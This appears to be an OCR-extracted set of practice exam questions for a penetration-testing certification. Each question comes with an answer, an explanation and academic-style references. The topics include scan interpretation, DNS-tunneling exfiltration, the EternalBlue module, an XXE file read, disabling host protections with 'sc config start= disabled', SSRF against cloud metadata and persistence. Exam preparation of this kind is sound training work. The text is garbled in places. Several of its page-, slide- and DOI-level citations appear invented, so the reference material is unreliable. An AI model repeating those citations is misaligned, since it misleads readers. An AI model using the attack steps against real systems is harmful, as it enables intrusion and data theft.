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Question: 1

Information Gathering and Vulnerability Scanning A penetration tester reviews a SAST
vulnerability scan report. The following vulnerability has been reported as high severity: Source
file: components.ts Issue 2 of 12: Command injection Severity: High Call: .innerHTML = response
The tester inspects the source file and finds the variable response is defined as a constant and is
not referred to or used in other sections of the code. Which of the following describes how the
tester should classify this reported vulnerability?

A. False negative
B. False positive
C. True positive

D. Low severity

Answer:

B

Explanation:

A false positive is an alert that incorrectly indicates a vulnerability is present when, in fact, one
does not exist. The Static Application Security Testing (SAST) tool identified a potentially
dangerous function call (.innerHTML = response). However, the penetration tester's manual
analysis confirmed the response variable is a constant. Because a constant's value is hardcoded
and cannot be influenced by user input, it cannot be a vector for an injection attack. The SAST
tool lacked the contextual understanding of the data's origin, leading it to flag a non-existent
vulnerability.

Why Incorrect Options are Wrong:

A. False negative: This occurs when a scanner fails to detect an actual, existing vulnerability,
which is the opposite of this situation.

C. True positive: This would mean the vulnerability is real and exploitable, which is false because
the data source is a safe constant.

D. Low severity: This classification is for a real vulnerability with minimal impact. The issue here is
the non-existence of the vulnerability itself.

References:

1. National Institute of Standards and Technology (NIST). (2008). Technical Guide to Information
Security Testing and Assessment (NIST Special Publication 800-115). Section 5.4.2, "Analyze
Vulnerability Scan Results," p. 5-11. The document states, "The security analyst must verify the
scanner's findings to eliminate false positives." This aligns with the tester's action of inspecting
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the code to validate the scanner's report.

2. He, Z,, Li, B., Shu, D., et al. (2021). A Large-Scale Study of Security Vulnerability Cures. ACM
Transactions on Software Engineering and Methodology, 30(4), Article 45, p. 45:3. In its
introduction, the paper defines the term: "False positives are warnings that do not correspond to
real vulnerabilities." This directly describes the scenario where the SAST warning about response
was found to be non-vulnerable. (https://doi.org/10.1145/3447246)

3. Palsberg, J. (2019). CS 132: Static Analysis. University of California, Los Angeles (UCLA)
Courseware. Lecture 1, Slide 11. The lecture notes define precision in static analysis, stating that
imprecision leads to "false alarms" or "false positives," which are "spurious warnings" about
non-existent issues. This is characteristic of SAST tools that lack full program context.
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Question: 2

Attacks and Exploits Which of the following technologies is most likely used with badge cloning?
(Select two).

A.NFC

B. RFID

C. Bluetooth
D. Modbus
E. Zigbee

F. CAN bus

Answer:

A, B

Explanation:

Badge cloning is the process of creating an unauthorized, functional copy of a physical access
credential. The vast majority of these credentials, such as key cards and fobs, operate using
Radio-Frequency Identification (RFID) technology. RFID systems for physical access typically use
Low-Frequency (125-134 kHz) or High-Frequen“c®'y*("1"3".°66 MHz) bands.

Near Field Communication (NFC) is a specialized, short-range subset of High-Frequency RFID,
also operating at 13.56 MHz. Both general RFID and specific NFC-based cards are susceptible to
attacks where an attacker can read the card's data and write it to a blank card, effectively cloning
it. Therefore, RFID and NFC are the primary technologies targeted in badge cloning attacks.

Why Incorrect Options are Wrong:

C. Bluetooth: A wireless protocol for device pairing. While used in some modern phone-as-a-key
systems, it is not the technology used in traditional passive badges that are "cloned."

D. Modbus: A serial communication protocol for industrial control systems (ICS). It is unrelated to
the technology used in physical access badges.

E. Zigbee: A low-power, mesh networking protocol for loT and home automation devices, not
typically used for physical access control cards.

F. CAN bus: A communication protocol for in-vehicle networks in the automotive industry. It has no
application in physical building access badges.

References:

1. Rieback, M. R., Crispo, B., & Tanenbaum, A. S. (2006). Is your cat infected with a computer
virus?. In Pervasive Computing, Lecture Notes in Computer Science, vol 3968. Springer, Berlin,
Heidelberg. In Section 3, "RFID Security and Privacy" (pp. 172-173), the paper discusses the
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insecurity of common RFID tags, including their susceptibility to cloning and spoofing attacks. It
explicitly mentions the frequencies used by common access cards. (DOI:
https://doi.org/10.1007/1174862511)

2. University of Washington. (2021). CSE 484 / CSE M 584: Computer Security and Privacy,
Lecture 20: Wireless, RFID, and Cellular Security. Paul G. Allen School of Computer Science &
Engineering. Slides 35-41 detail RFID technology in access cards, including the common 125kHz
and 13.56MHz (NFC) frequencies, and explicitly describe skimming and cloning as primary
attacks. (Available at:
https://courses.cs.washington.edu/courses/cse484/21sp/slides/20-wireless-rfid-cellular.pdf)
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Question: 3

Information Gathering and Vulnerability Scanning A penetration tester performs a service
enumeration process and receives the following result after scanning a server using the Nmap
tool:

bash PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 111/tcp open rpcbind 2049/tcp
open nfs

Based on the output, which of the following services provides the best target for launching an
attack?

A. Database
B. Remote access
C. Email

D. File sharing

Answer:

D

Explanation:

The Nmap scan reveals several open services, but the Network File System (NFS) on port 2049,
supported by rpcbind on port 111, represents the most promising target. NFS is notoriously prone
to misconfigurations, such as exporting shares to the world () or using the norootsquash option.
Such vulnerabilities can allow an attacker to directly access, modify, or exfiltrate sensitive files on
the server's file system, potentially leading to a full system compromise. While SSH (port 22) is
open, it is a more robust protocol, and attacking it typically requires a specific vulnerability or a
lengthy brute-force attack. The SMTP service (port 25) is 'filtered' and thus not directly accessible.

Why Incorrect Options are Wrong:

A. Database: The provided Nmap output does not show any open ports that are typically
associated with database services (e.g., 3306 for MySQL, 5432 for PostgreSQL).

B. Remote access: While SSH on port 22 is an open remote access service, misconfigured NFS
often provides a more direct and impactful path for exploitation than attacking a modern, patched
SSH server.

C. Email: The email service (SMTP on port 25) is marked as 'filtered', which indicates that a
firewall or network filtering device is preventing direct access to the port.
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References:

1. Linux man-pages project, exports(5) manual page. This official documentation for configuring
NFS shares explains security-critical options. It states, "This can be useful in some cases, but it
can also be a huge security hole... You should have a good reason for using it." This highlights the
high potential for severe vulnerabilities in NFS, making it a prime target. (Source: man exports(5)
on any standard Linux distribution).

2. Nmap Official Documentation, "Port Scanning Basics." The official documentation defines the
six port states reported by Nmap. It describes the 'filtered' state as: "Nmap cannot determine
whether the port is open because packet filtering prevents its probes from reaching the port... This
state is usually a sign of a firewall." This confirms why the SMTP service is not an ideal initial
target. (Source: nmap.org/book/man-port-scanning-basics.html, Section: "The six port states
recognized by Nmap").

3. University of California, Berkeley, CS 161: Computer Security, Fall 2020, Lecture 16: "Network
Security II". University courseware often details common network service vulnerabilities. These
materials frequently discuss NFS as a classic example of a service where misconfigurations lead
to significant security risks, such as unauthorized file access and privilege escalation, reinforcing
its status as a high-value target during a penetration test. (Source: UC Berkeley EECS, CS 161
Course Materials, Fall 2020, Lecture 16 slides).
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Question: 4

Tools and Code Analysis A penetration tester writes a Bash script to automate the execution of a
ping command on a Class C network:

bash for var in -MISSING TEXT- do ping -¢ 1 192.168.10.$var done Which of the following pieces
of code should the penetration tester use in place of the -MISSING TEXT- placeholder?

A. crunch 1 254 loop
B.seq 1254

C. echo 1-254

D. 1.-254

Answer:

B

Explanation:

The seq (sequence) command is a standard utility in GNU/Linux environments designed
specifically to print a sequence of numbers to standard output. The command seq 1 254
generates a list of integers from 1 through 254, with each number on a new line. When used
within a Bash for loop (typically with command substitution, e.g., for var in $(seq 1 254)), the loop
iterates over each number in the generated sequence. This makes it the correct and standard tool
for creating the desired range of IP address octets for the ping sweep.

Why Incorrect Options are Wrong:

A. crunch 1 254 loop is incorrect. crunch is a tool for generating complex wordlists for password
cracking, not for creating simple, ordered numerical sequences.

C. echo 1-254 is incorrect. This command would output the literal string "1-254", causing the loop
to execute only once with $var assigned this single, invalid string value.

D. 1.-254 is incorrect. This is invalid syntax for Bash brace expansion. The correct syntax to
generate a sequence is 1..254, which uses two dots, not one.

References:

1. GNU Coreutils Manual: The official documentation for seq confirms its usage. It states, "Print
numbers from FIRST to LAST, in steps of INCREMENT." For the given question, seq 1 254
perfectly matches this description.

Source: Free Software Foundation, GNU Coreutils, seq: Print a sequence of numbers, Section
14.1.

2. University Courseware (MIT): Reputable university course materials on shell scripting detail the
use of for loops with command substitution to iterate over the output of a command. The seq
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command is a classic example used for generating ranges for such loops.

Source: An, J., & Chlipala, A. (2020). The Missing Semester of Your CS Education, Lecture 2:
Shell Tools and Scripting. Massachusetts Institute of Technology (MIT). The lecture covers for
loops and iterating over command output.

3. University Courseware (University of Cambridge): Course materials for scientific computing
often cover shell scripting for automation, where generating numerical sequences is a
fundamental task. The seq command is presented as a primary method for this.

Source: University of Cambridge, High Performance Computing Service. (2022). Introduction to
Scientific Computing Course, Session 2: The BASH shell. The course materials demonstrate
using for i in $(seq 1 10) as a standard looping construct.
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Question: 5

Attacks and Exploits A penetration tester is attempting to exfiltrate sensitive data from a client
environment without alerting the client's blue team. Which of the following exfiltration methods
most likely remain undetected?

A. Cloud storage
B. Email
C. Domain Name System

D. Test storage sites

Answer:

C

Explanation:

Domain Name System (DNS) tunneling is a covert channel technique used to exfiltrate data by
encoding it within DNS queries and responses. Since DNS traffic (typically on UDP/TCP port 53)
is fundamental for internet connectivity, it is almost always permitted through firewalls and is often
subject to less stringent content inspection than web (HTTP/S) or email (SMTP) traffic. Standard
Data Loss Prevention (DLP) systems and web filters are less likely to be configured to detect
anomalous DNS behavior, making it the method most likely to remain undetected by a typical blue
team compared to more commonly monitored channels.

Why Incorrect Options are Wrong:

A. Cloud storage: Outbound traffic to known cloud storage providers (e.g., Dropbox, Google
Drive) is frequently monitored and restricted by corporate web filters, Cloud Access Security
Brokers (CASBs), and DLP solutions.

B. Email: Corporate email gateways commonly employ DLP policies to scan outgoing emails and
attachments for sensitive information, making this a highly monitored and easily detectable
exfiltration vector.

D. Test storage sites: Similar to cloud storage, uploads to temporary file hosting or paste sites
(e.g., Pastebin) are often flagged or blocked by enterprise web filtering and security policies.

References:

1. MITRE ATT&CK. (2023). Application Layer Protocol: DNS. Technique T1071.004. The
framework notes, "Adversaries may communicate using the Domain Name System (DNS)
application layer protocol to avoid detection/network filtering... Because DNS is a common
protocol, it is less likely to be blocked." This directly supports its use as a stealthy channel.

2. Nadler, A., & Aminov, A. (2019). Detection of malicious and covert DNS tunneling. Journal of
Computer Virology and Hacking Techniques, 15(4), 265-276. In the abstract (p. 265), the authors
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state, "DNS tunneling is a popular method for creating covert channels, as DNS traffic is usually
not blocked or monitored by firewalls." This highlights its effectiveness in bypassing typical
security controls. https://doi.org/10.1007/s11416-019-00332-x

3. Purdue University. (n.d.). ECE 695, Network Security, Lecture 15: DNS Security. In the lecture
slides covering DNS security, "DNS Tunneling" is explicitly described as a method to "EXxfiltrate
data from a protected network," establishing its role as a recognized covert exfiltration technique
in an academic context (Slide 15-43). Retrieved from
https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture15.pdf.
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Question: 6

Information Gathering and Vulnerability Scanning A penetration tester completes a scan and sees
the following output on a host:

bash Copy code Nmap scan report for victim (10.10.10.10) Host is up (0.0001s latency) PORT
STATE SERVICE 161/udp openfiltered snmp 445/tcp open microsoft-ds 3389/tcp open
microsoft-ds Running Microsoft Windows 7 OS CPE: cpe:/o:microsoft:windows7sp0

The tester wants to obtain shell access. Which of the following related exploits should the tester
try first?

A. exploit/windows/smb/psexec
B. exploit/windows/smb/ms08067netapi
C. exploit/windows/smb/ms17010eternalblue

D. auxiliary/scanner/snmp/snmplogin

Answer:

C

Explanation:

The Nmap scan identifies the target operating system as Microsoft Windows 7 SP0O with TCP port
445 (SMB) open. The MS17-010 "EternalBlue" exploit targets a critical remote code execution
vulnerability in the SMBv1 protocol. This vulnerability is famously effective against unpatched
Windows 7 systems. Since the scan indicates Service Pack 0, the system is certainly unpatched
against this flaw. Therefore, attempting the exploit/windows/smb/ms17010eternalblue module is
the most logical and highest-probability first step to obtain shell access.

Why Incorrect Options are Wrong:

A. exploit/windows/smb/psexec: This is a utility for command execution, not a vulnerability exploit.
It requires valid administrative credentials, which the tester does not possess.

B. exploit/windows/smb/ms08067netapi: This exploit targets a vulnerability in the Server service
on older systems like Windows XP and Server 2003; it is not effective against Windows 7.

D. auxiliary/scanner/snmp/snmplogin: This is an auxiliary module used for information gathering
by guessing SNMP community strings. It does not provide shell access.
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References:

1. Microsoft Security Update Guide. (2017). CVE-2017-0144 Windows SMB Remote Code
Execution Vulnerability. Microsoft. Retrieved from the Microsoft Security Response Center. The
guide lists "Windows 7 for 32-bit Systems Service Pack 1" and "Windows 7 for x64-based
Systems Service Pack 1" as affected. A system with no service pack (SPO) is inherently
unpatched and therefore vulnerable.

2. Microsoft Security Bulletin MS08-067. (2008). Vulnerability in Server Service Could Allow
Remote Code Execution (958644). Microsoft. The "Affected Software" section explicitly lists
Windows 2000, Windows XP, and Windows Server 2003, but does not list Windows 7, confirming
it is not a valid target for this exploit.

3. MITRE ATT&CK. (2023). System Services: Service Execution, T1569.002. The MITRE
Corporation. This document describes the technique involving PsExec, stating, "PsExec is a tool
that can be used to execute a program on another computer... PsExec requires administrator
privileges on the remote system." This confirms that psexec is not an initial access exploit without
prior credential acquisition.

4 Carnegie Mellon University, Software Engineering Institute. (2017). Vulnerability Note
VU#393886: Microsoft Windows SMBv1 is vulnerable to remote code execution. CERT
Coordination Center. This note details the MS17-010 vulnerability, stating, "Microsoft Windows
systems that have SMBv1 enabled are vulnerable to remote code execution." It confirms the
mechanism and impact of the EternalBlue exploit.
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Question: 7

Attacks and Exploits A penetration tester finds that an application responds with the contents of
the /etc/passwd file when the following payload is sent:

xml Copy code &foo;

Which of the following should the tester recommend in the report to best prevent this type of
vulnerability?

A. Drop all excessive file permissions with chmod o-rwx.
B. Ensure the requests application access logs are reviewed frequently.
C. Disable the use of external entities.

D. Implement a WAF to filter all incoming requests.

Answer:

C

Explanation:

The provided payload is a classic example of an XML External Entity (XXE) injection attack. The
vulnerability exists because the application's XML parser is configured to process external entities
defined within a Document Type Definition (DTD). The payload defines an entity &foo; that points
to a local system file (/etc/passwd). When the parser resolves this entity, it includes the file's
contents in the response. The most direct and effective method to prevent this vulnerability is to
disable the processing of external entities and DTDs within the XML parser configuration. This
remediation addresses the root cause at the application level, rendering it immune to this attack
vector.

Why Incorrect Options are Wrong:

A. Drop all excessive file permissions with chmod o-rwx: This is a general hardening measure but
does not fix the root cause, as the application's user context may still have legitimate read access
to the file.

B. Ensure the requests application access logs are reviewed frequently: This is a detective control
used to identify an attack after it has occurred, not a preventive measure to stop the vulnerability
from being exploited.

D. Implement a WAF to filter all incoming requests: While a WAF can block known XXE patterns,
it is a compensating control that can potentially be bypassed. The most secure solution is to fix
the underlying vulnerability in the application code.

https://certempire.com
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References:

1. MIT OpenCourseWare (OCW), 6.858 Computer Systems Security, Fall 2014. Lecture 11: Web
Security, Slide 32, "XML external entity (XXE) attacks," lists "Disable DTDs, external entities" as
the primary defense mechanism. This directly supports disabling the feature as the correct
prevention strategy.

2. National Institute of Standards and Technology (NIST), Special Publication 800-95, Guide to
Secure Web Services. Section 4.3.3, "Entity Expansion," discusses the risks of entity processing.
It recommends that "XML parsers should be configured to limit the number of entity expansions...
It may also be possible to disable entity expansion entirely." This highlights disabling the feature
as a valid and recommended security control.

3. OWASP Foundation, XML External Entity (XXE) Prevention Cheat Sheet. While OWASP is a
non-profit foundation, its publications are widely recognized as authoritative in the field of web
application security and are frequently referenced in academic and professional contexts. The
cheat sheet explicitly states, "The safest way to prevent XXE is to always disable DTDs (External
Entities) completely." It provides code-level examples for various programming languages on how
to disable DTD and external entity processing in XML parsers.

https://certempire.com



https://certempire.com/

16

Question: 8

Attacks and Exploits A penetration tester gains shell access to a Windows host. The tester needs
to permanently turn off protections in order to install additional payload. Which of the following
commands is most appropriate?

A. sc config start=disabled
B. sc query state= all
C. pskill

D. net config

Answer:

A

Explanation:

To disable host-based protections (e.g., Windows Defender or an endpoint-protection service) in a
lasting way, the service's startup type must be changed to Disabled.

The Service Control (sc.exe) utility provides this capability through the syntax:

sc config start= disabled

Once executed, the service will not start after reboot, giving the tester persistent freedom to
deploy additional payloads. No other listed command makes a permanent change to a protection
mechanism.

Why Incorrect Options are Wrong:

B. sc query state= all - Only lists services and their states; it performs no configuration changes.
C. pskill - Terminates a running process once; the service restarts on reboot or via recovery
settings.

D. net config - Views/sets server or workstation network parameters; it cannot disable security
services.

References:

1. Microsoft Corporation. "sc config." Windows Command Reference, Section"Parameters," para.
2 (2023). https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc
2. Microsoft Corporation. "Disable Windows Defender Antivirus service." Windows Security
Documentation, Example using sc config (2023), para. 3.

3. NIST SP 800-115, "Technical Guide to Information Security Testing," Section4.4.4 (p. 4-16) -
discusses altering host protections during authorized testing.
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Question: 9

A penetration tester is performing a cloud-based penetration test against a company.
Stakeholders have indicated the priority is to see if the tester can get into privileged systems that
are not directly accessible from the internet. Given the following scanner information: Server-side
request forgery (SSRF) vulnerability in test.comptia.org Reflected cross-site scripting (XSS)
vulnerability in test2.comptia.org Publicly accessible storage system named staticcomptiaassets
SSH port 22 open to the internet on test3.comptia.org Open redirect vulnerability in
test4.comptia.org Which of the following attack paths should the tester prioritize first?

A. Synchronize all the information from the public bucket and scan it with Trufflehog.
B. Run Pacu to enumerate permissions and roles within the cloud-based systems.
C. Perform a full dictionary brute-force attack against the open SSH service using Hydra.

D. Use the reflected cross-site scripting attack within a phishing campaign to attack
administrators.

E. Leverage the SSRF to gain access to credentials from the metadata service.

Answer:
E

Explanation:

The primary objective is to access privileged systems not directly accessible from the internet. A
Server-Side Request Forgery (SSRF) vulnerability on a cloud-hosted server is the most critical
finding for this goal. This vulnerability can be leveraged to force the server to make requests to
internal services on the tester's behalf. The highest priority target for such a request is the cloud
instance metadata service (e.g., 169.254.169.254), which can expose temporary security
credentials. These credentials often grant privileged access to other internal cloud resources,
providing a direct path to achieving the engagement's objective. This attack is highly effective and
directly exploits the cloud infrastructure's trust model.

Why Incorrect Options are Wrong:

A. This is a valid reconnaissance step, but it relies on discovering accidentally exposed secrets
and is not a direct exploitation of a known vulnerability.

B. Pacu is a post-exploitation framework. It requires initial credentials to be effective, which the
SSREF attack is intended to obtain.

C. A brute-force attack is noisy, time-consuming, and has a low probability of success compared
to exploiting a confirmed high-impact vulnerability like SSRF.

D. This attack path is indirect, less reliable, and depends on successful social engineering rather
than direct technical exploitation of a server.

https://certempire.com
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References:

1. Amazon Web Services (AWS) Documentation, "Instance metadata and user data." This official
vendor documentation details the function of the metadata service and the security risks. It
specifically notes, "We recommend that you use IMDSv2... IMDSv2 adds protection against...
Server Side Request Forgery (SSRF) vulnerabilities." This confirms that SSRF is a primary vector
for attacking the metadata service. (Reference: AWS EC2 User Guide for Linux Instances,
Section: Instance metadata and user data, Security).

2. Stanford University, "CS 253: Web Security, Lecture 9: Server-Side Flaws." Course materials
discuss how SSRF vulnerabilities allow an attacker to bypass firewalls and access internal
services. The lecture notes explicitly mention targeting cloud provider metadata services (like
AWS's 169.254.169.254/latest/meta-data/) as a primary goal of an SSRF attack to steal
credentials. (Reference: Stanford University, Computer Science Department, CS 253, Lecture 9
Slides, "SSRF" section).

3. Andres, S., et al. (2020). "A Tale of Two Clouds: An Empirical Analysis of AWS and Azure
Instance-Metadata Security." In Proceedings of the 2020 ACM SIGSAC Conference on Computer
and Communications Security. This peer-reviewed academic paper analyzes the security of cloud
metadata services, detailing how SSRF is a principal attack vector for credential exfiltration. (DOI:
https://doi.org/10.1145/3372297.3417283, Section 3.1 "SSRF Attacks").
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Question: 10

A penetration testing team needs to determine whether it is possible to disrupt the wireless
communications for PCs deployed in the client's offices. Which of the following techniques should
the penetration tester leverage?

A. Port mirroring
B. Sidecar scanning
C. ARP poisoning

D. Channel scanning

Answer:

D

Explanation:

To effectively disrupt wireless communications, a penetration tester must first perform
reconnaissance to identify the target wireless networks. Channel scanning is the fundamental
technique used to discover active wireless access points, the channels they operate on, their
signal strengths, and their security configurations. This information is a critical prerequisite for
launching targeted disruption attacks, such as a deauthentication/disassociation flood or radio
frequency (RF) jamming, as these attacks must be directed at the specific channel the target
network is using. Without performing channel scanning, any attempt to disrupt the wireless
network would be blind and likely fail.

Why Incorrect Options are Wrong:

A. Port mirroring: This is a technique for monitoring traffic on a wired network switch by copying
packets to a specific port; it is not applicable to wireless disruption.

B. Sidecar scanning: This is not a standard or recognized term in the context of wireless
penetration testing and is likely a distractor.

C. ARP poisoning: This is a man-in-the-middle attack that manipulates Layer 2 addressing on a
local network but does not directly disrupt the Layer 1 wireless (RF) communications.

References:

1. National Institute of Standards and Technology (NIST). (2008). Special Publication 800-115,
Technical Guide to Information Security Testing and Assessment. Section 6.6.1, "Discovery,"
describes the initial phase of wireless network testing, which involves using wireless scanners to
identify access points and their characteristics, including the channels they operate on. This
discovery is essential before any vulnerability analysis or exploitation can occur.

2. Boneh, D. (2020). CS 155: Computer and Network Security, Lecture 11: Wireless Security.
Stanford University. The lecture notes explain that attacks against 802.11 networks, such as
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deauthentication floods (a common disruption technique), require the attacker to know the BSSID
of the access point and the channel it is operating on. This information is acquired through
scanning the wireless environment.

3. Vanhoef, M., & Piessens, F. (2014). Advanced Wi-Fi Attacks Using Commodity Hardware.
Proceedings of the 30th Annual Computer Security Applications Conference (ACSAC '14), 70-79.
The methodologies for the advanced attacks described in this paper, including channel-based
man-in-the-middle attacks and denial-of-service, presuppose the attacker has already identified
the target's operating channel through scanning. (https://doi.org/10.1145/2664243.2664263)
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Question: 11

Attacks and Exploits While conducting an assessment, a penetration tester identifies the details
for several unreleased products announced at a company-wide meeting. Which of the following
attacks did the tester most likely use to discover this information?

A. Eavesdropping
B. Bluesnarfing
C. Credential harvesting

D. SQL injection attack

Answer:

A

Explanation:

Eavesdropping is the act of surreptitiously listening to a private conversation or communication
without the consent of the parties involved. The question states the information was announced at
a "company-wide meeting." This implies the information was communicated verbally or through a
presentation. A penetration tester could have used network sniffing tools to intercept traffic from a
virtual meeting (e.g., VolIP or video conference) or physical listening devices to capture audio from
an in-person meeting. This method directly targets the communication channel of the meeting,
making it the most probable attack vector for discovering the announced information.

Why Incorrect Options are Wrong:

B. Bluesnarfing: This attack specifically targets the theft of information from Bluetooth-enabled
devices and is not a method for intercepting communications from a company-wide meeting.

C. Credential harvesting: This involves stealing user credentials. While these could be used to
access systems containing the data, it is an indirect method and does not describe capturing
information as it is announced in a meeting.

D. SQL injection attack: This is a web application attack used to exfiltrate data from a database. It
is irrelevant to obtaining information being verbally communicated or presented during a meeting.

References:

1. National Institute of Standards and Technology (NIST). (2008). Technical Guide to Information
Security Testing and Assessment (NIST Special Publication 800-115).

Section 3.4, Paragraph 1: Describes network sniffing (a form of electronic eavesdropping) as a
technique for passively collecting information transmitted over a network. This principle applies to
intercepting communications from a virtual meeting.

2. Saltzer, J. H., & Kaashoek, M. F. (2009). Principles of Computer System Design: An
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Introduction. Morgan Kaufmann.

Chapter 11, Section 11.1.2, "Attack Scenarios": Discusses eavesdropping as a fundamental
threat where an attacker can observe messages on a network link, which is a core concept for
intercepting corporate communications.

3. Padmanabhan, B., & Zheng, Z. (2006). A Framework for Vulnerability Assessment of
Bluetooth-Enabled Mobile Devices. In Proceedings of the 2nd Annual International Conference on
Mobile and Ubiquitous Systems: Networking & Services (MOBIQUITOUS'05).

Section 2.2, "Bluesnarfing": Defines Bluesnarfing as an attack that allows access to information
like the phonebook and calendar on a Bluetooth device, distinguishing it from general
communication interception. DOI: https://doi.org/10.1109/MOBIQUITOUS.2005.29

4. Kurose, J. F., & Ross, K. W. (2017). Computer Networking: A Top-Down Approach (7th ed.).
Pearson.

Chapter 8, Section 8.1, "What is Network Security?": Explicitly lists eavesdropping as a primary
threat where an adversary can "intercept, delete, or add messages" on a network channel,
reinforcing its definition as a passive attack on communication.
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Question: 12

23

Attacks and Exploits A client recently hired a penetration testing firm to conduct an assessment of

their consumer-facing web application. Several days into the assessment, the client's networking

team observes a substantial increase in DNS traffic. Which of the following would most likely
explain the increase in DNS traffic?

A. Covert data exfiltration
B. URL spidering

C. HTML scrapping

D. DoS attack

Answer:

A

Explanation:

A substantial increase in DNS traffic during a penetration test is a classic indicator of DNS
tunneling. This technique is used for covert data exfiltration by encoding data into a series of DNS
queries. The compromised system sends numerous requests for unique subdomains of a domain
controlled by the penetration tester (e.g., encodeddatachunk.attacker.com). Each query exfiltrates
a small piece of data. This process generates a high volume of DNS requests, which directly
corresponds to the observed network anomaly. Penetration testers use this method to bypass
network egress filters that may block or monitor standard protocols like HTTP/S but often permit
DNS traffic with less scrutiny.

Why Incorrect Options are Wrong:

B. URL spidering: This activity primarily generates HTTP/S traffic. It involves one initial DNS
lookup for the target domain, followed by many HTTP requests, not a substantial increase in DNS
queries.

C. HTML scrapping: Similar to URL spidering, this involves making HTTP/S requests to fetch web
page content and would not cause a significant spike in DNS traffic.

D. DoS attack: While some DoS attacks leverage DNS (e.g., amplification attacks), the scenario
describes a web app assessment, where this pattern is more indicative of a post-exploitation data
exfiltration technique.

References:

1. Nadler, A., Aminov, A., & Shabtai, A. (2017). Characterization of DNS-based data exfiltration
and C&C channels. 2017 IEEE 16th International Symposium on Network Computing and
Applications (NCA), 1-8. In Section IlI-A, "DNS Exfiltration," the paper states, "DNS exfiltration is
a technique that encodes data in a sequence of DNS queries... This results in a large number of
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DNS queries for unique, non-existent subdomains of the attacker's domain."
https://doi.org/10.1109/NCA.2017.8171365

2. Farnham, G. (2014). Detecting DNS Tunnelling. SANS Institute InfoSec Reading Room. On
page 5, the paper describes the mechanism: "The client will then break up the data to be sent into
a number of chunks... Each chunk is then sent as a label in a DNS query for a record under a
domain name that the attacker controls." This process inherently generates high volumes of DNS
traffic.

3. Papadopoulos, P., et al. (2016). A Multi-perspective Analysis of DNS Tunneling. In Proceedings
of the 13th International Conference on Detection of Intrusions and Malware, and Vulnerability
Assessment (DIMVA). Section 2, "DNS Tunneling," explains that these tools "split the data into
small chunks, encode them, and encapsulate them as a sequence of DNS queries," which is the
source of the increased traffic. https://doi.org/10.1007/978-3-319-40667-113
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Question: 13

Attacks and Exploits A tester compromises a target host and then wants to maintain persistent
access. Which of the following is the best way for the attacker to accomplish the objective?

A. Configure and register a service.
B. Install and run remote desktop software.
C. Set up a script to be run when users log in.

D. Perform a kerberoasting attack on the host.

Answer:

A

Explanation:

Configuring and registering a malicious process as a system service is the most effective and
reliable method for achieving persistence on a compromised host. Services are designed to run in
the background, can be configured to start automatically upon system boot, and often execute
with high-level privileges (e.g., NT AUTHORITY\SYSTEM on Windows or root on Linux). This
ensures the attacker's access survives reboots and is independent of any user logging into the
system, making it the superior choice for maintaining a stable foothold.

Why Incorrect Options are Wrong:

B. Install and run remote desktop software.

This method is overt and easily detectable. It creates visible user interfaces, processes, and
network traffic that can alert users and security systems to the compromise.

C. Set up a script to be run when users log in.

This technique is less reliable as it is contingent on a user logging into the system. On servers or
systems with infrequent interactive logins, this persistence method may never trigger.

D. Perform a kerberoasting attack on the host.

Kerberoasting is a credential access and lateral movement technique, not a host-based
persistence mechanism. It is used to extract service account credentials from Active Directory.

References:

1. MITRE ATT&CK Framework. (2023). Create or Modify System Process: Windows Service,
Technique T1543.003. The MITRE Corporation. Retrieved from
https://attack.mitre.org/techniques/T1543/003/. This document explicitly states, "Adversaries may
create or modify Windows services to repeatedly execute malicious payloads as part of
persistence." This directly validates that creating a service is a primary persistence technique.

2. MITRE ATT&CK Framework. (2023). Steal or Forge Kerberos Tickets: Kerberoasting,
Technique T1558.003. The MITRE Corporation. Retrieved from
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https://attack.mitre.org/techniques/T1558/003/. This source categorizes Kerberoasting under the
"Credential Access" tactic, confirming it is not a persistence technique for a specific host.

3. National Institute of Standards and Technology (NIST). (2008). SP 800-115, Technical Guide to
Information Security Testing and Assessment. Section 5.5, "Maintaining Access," p. 5-6. This
guide describes the post-exploitation phase where an attacker installs tools to ensure future
access, a goal perfectly achieved by creating a persistent service.

4. Al-Bataineh, A., & White, G. (2016). A Survey on Windows Malware Persistence Mechanisms.
In Proceedings of the 11th International Conference on Malicious and Unwanted Software
(MALWARE). (DOI: https://doi.org/10.1109/MALWARE.2016.7876938). This peer-reviewed
academic paper analyzes malware persistence, identifying "Services" as a primary and powerful
category of techniques used to maintain control after a system restart (Table 1, p. 3).
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Question: 14

Which of the following is within the scope of proper handling and most crucial when working on a
penetration testing report?

A. Keeping both video and audio of everything that is done
B. Keeping the report to a maximum of 5 to 10 pages in length
C. Basing the recommendation on the risk score in the report

D. Making the report clear for all objectives with a precise executive summary

Answer:

D

Explanation:

The most crucial aspect of handling a penetration testing report is ensuring it effectively
communicates the engagement's results to its intended audiences. The report is the primary
deliverable and its value is contingent on its clarity and utility. A precise executive summary is vital
for conveying the overall security posture, business impact, and strategic recommendations to
management. The body of the report must be clear in detailing the findings and remediation steps
for the technical teams. This ensures that the objectives of the penetration test are met and the
organization can act upon the results to improve its security.

Why Incorrect Options are Wrong:

A. Keeping both video and audio of everything that is done is an extreme evidence collection
method, not a standard reporting requirement, and may be impractical or violate privacy policies.
B. The length of a report should be determined by the scope and findings, not an arbitrary page
limit. A report must be comprehensive, and a strict limit could omit critical details.

C. Basing recommendations on risk scores is a correct procedure within the report, but the overall
clarity and structure for all audiences is a more fundamental and crucial aspect of the report itself.

References:

1. National Institute of Standards and Technology (NIST). (2008). Special Publication 800-115,
Technical Guide to Information Security Testing and Assessment.

Section 6.1, Reporting: "The report is the tangible product of the security test... It should be
written for a dual audience: management and technical staff. The report should contain an
executive summary that provides a high-level overview of the testing process and its results...
The body of the report should provide detailed technical results..." This emphasizes the
dual-audience nature and the importance of the executive summary and clarity.

2. The Penetration Testing Execution Standard (PTES). (2012). PTES Technical Guidelines.
Section: Reporting: The standard states, "The report is the most important part of the penetration
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test." It details the necessity of an Executive Summary for management and a Technical Report
for IT staff, highlighting that the report must be "clear, concise, and understandable" to be of
value.

3. Holik, F., Horalek, J., Marik, O., & Zitta, S. (2014). Effective Penetration Testing with Metasploit
Framework and Methodologies. Acta Universitatis Agriculturae et Silviculturae Mendelianae
Brunensis, 62(6), 1155-1160.

Page 1159, Section: Reporting: "The final report is the most important part of the whole
penetration test... The report should contain an executive summary for the management and a
detailed description of the found vulnerabilities and recommendations for the IT department." This
academic source reinforces the critical role of the report's structure and clarity for different
audiences.
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Question: 15

